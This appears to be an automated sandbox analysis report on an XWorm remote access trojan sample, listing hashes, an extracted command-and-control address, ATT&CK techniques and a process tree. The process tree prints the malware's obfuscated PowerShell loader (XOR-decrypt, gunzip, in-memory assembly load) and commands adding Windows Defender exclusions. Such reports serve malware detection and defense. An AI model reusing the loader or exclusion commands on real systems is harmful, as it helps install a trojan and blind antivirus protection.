xworm | 713b3b9b9cd5a6c17626b7f31a8173f5b397db4ea0d986114524fd988803f4f2

General

Target

XClient.bat
Size

66KB
MD5

ded6a5751236497347ed27d22226ef8d
SHA1

be89ce17f8dade3336202acc0b7ac78d3f9dbdca
SHA256

713b3b9b9cd5a6c17626b7f31a8173f5b397db4ea0d986114524fd988803f4f2
SHA512

8356eacb14d0cb5e552d383e6a5afe0873b1de2b9f002f743bd7d7aee50748011406964407e0ea0a3e04e03677410785cd385c72d88a10ced33d9315ba427ef4
SSDEEP

1536:iZAamnjGVMuIfaG8PUTjSQ3qYZmdN+p6CjQU+n2S+9Kh:WAamjVuWLTjR6YZ2Ip6CjQUo2SMQ

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

C2

name-hundred.gl.at.ply.gg:10055

Attributes

install_file
Windows.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/844-19-0x000001D0C8220000-0x000001D0C8236000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1068	powershell.exe
2960	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
844	XClient.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1260	timeout.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
844	XClient.bat.exe
844	XClient.bat.exe
1068	powershell.exe
1068	powershell.exe
2960	powershell.exe
2960	powershell.exe
844	XClient.bat.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	844	XClient.bat.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
844	XClient.bat.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 844	1832	cmd.exe	78
PID 1832 wrote to memory of 844	1832	cmd.exe	78
PID 844 wrote to memory of 1068	844	XClient.bat.exe	79
PID 844 wrote to memory of 1068	844	XClient.bat.exe	79
PID 844 wrote to memory of 2960	844	XClient.bat.exe	81
PID 844 wrote to memory of 2960	844	XClient.bat.exe	81
PID 844 wrote to memory of 1980	844	XClient.bat.exe	84
PID 844 wrote to memory of 1980	844	XClient.bat.exe	84
PID 1980 wrote to memory of 1260	1980	cmd.exe	86
PID 1980 wrote to memory of 1260	1980	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Users\Admin\AppData\Local\Temp\XClient.bat.exe
  "XClient.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $MACmm = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\XClient.bat').Split([Environment]::NewLine);foreach ($ctUEx in $MACmm) { if ($ctUEx.StartsWith(':: ')) { $WrLPu = $ctUEx.Substring(3); break; }; };$rNiyV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($WrLPu);$dKTzZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O3DlLOZ1HoqoHUXVbXCi17PqHhkd750PUh0uxdCau4Y=');for ($i = 0; $i -le $rNiyV.Length - 1; $i++) { $rNiyV[$i] = ($rNiyV[$i] -bxor $dKTzZ[$i % $dKTzZ.Length]); };$HeEGM = New-Object System.IO.MemoryStream(, $rNiyV);$zLsAA = New-Object System.IO.MemoryStream;$Vwwuc = New-Object System.IO.Compression.GZipStream($HeEGM, [IO.Compression.CompressionMode]::Decompress);$Vwwuc.CopyTo($zLsAA);$Vwwuc.Dispose();$HeEGM.Dispose();$zLsAA.Dispose();$rNiyV = $zLsAA.ToArray();$lapFA = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($rNiyV);$JOwJF = $lapFA.EntryPoint;$JOwJF.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:844
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.bat'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.bat.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3F08.tmp.bat""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1980
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:1260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
408641808e457ab6e23d62e59b767753

SHA1
4205cfa0dfdfee6be08e8c0041d951dcec1d3946

SHA256
3921178878eb416764a6993c4ed81a1f371040dda95c295af535563f168b4258

SHA512
e7f3ffc96c7caad3d73c5cec1e60dc6c7d5ed2ced7d265fbd3a402b6f76fed310a087d2d5f0929ab90413615dad1d54fce52875750057cffe36ff010fc6323fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
eaa41990580f868bff82e48d1085da73

SHA1
9de86c74053c0d2039bcfa693371448bde19040b

SHA256
693cc17bf691ad66bd10c4a9c5b224a1de0061aa3af7402cdab22a6d7f4143c1

SHA512
b0d5ea041f4e931e47665221c92355456dcc19ba868f2a9bdef0bb8523fc4860d6ff881c5632fb12fff69386ba7c5a1ec3845693a09c23c568330407dd4e4db3

Download Submit
C:\Users\Admin\AppData\Local\Temp\XClient.bat.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g3gehboh.grg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp3F08.tmp.bat

Filesize
163B

MD5
453c18f1b9dd0fdf4393158b1822235f

SHA1
c9d2160459873007d3d35dcde65c550cfa4e56a3

SHA256
2be3a5bea4ac74a347e31a19a17a833709a84bfbf6115612cb735ff5ff79e22a

SHA512
bfd2e75e707ca4dff34201d170f2696d6aeb8bb757c354fd5363fe9ae787dfec4a635b12a0b5595005a77488a1327485170fb36c9f4d41679468741e27d04c57

Download Submit
memory/844-36-0x00007FFCA7333000-0x00007FFCA7335000-memory.dmp

Filesize
8KB

Download
memory/844-47-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/844-19-0x000001D0C8220000-0x000001D0C8236000-memory.dmp

Filesize
88KB

Download
memory/844-54-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/844-17-0x000001D0AF880000-0x000001D0AF892000-memory.dmp

Filesize
72KB

Download
memory/844-30-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/844-4-0x00007FFCA7333000-0x00007FFCA7335000-memory.dmp

Filesize
8KB

Download
memory/844-5-0x000001D0C7E90000-0x000001D0C7EB2000-memory.dmp

Filesize
136KB

Download
memory/844-16-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/844-15-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/844-14-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/1068-29-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/1068-34-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/1068-31-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download
memory/1068-28-0x00007FFCA7330000-0x00007FFCA7DF2000-memory.dmp

Filesize
10.8MB

Download

Analysis

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